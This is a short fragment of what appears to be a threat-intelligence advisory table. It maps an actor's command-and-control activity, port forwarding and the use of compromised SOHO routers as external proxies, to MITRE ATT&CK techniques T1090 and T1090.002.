Command and Control		
Proxy	T1090	The actor used commands to enable port forwarding on the host.
Proxy: External Proxy	T1090.002	The actor used compromised SOHO devices (e.g. routers) to obfuscate the source of their activity.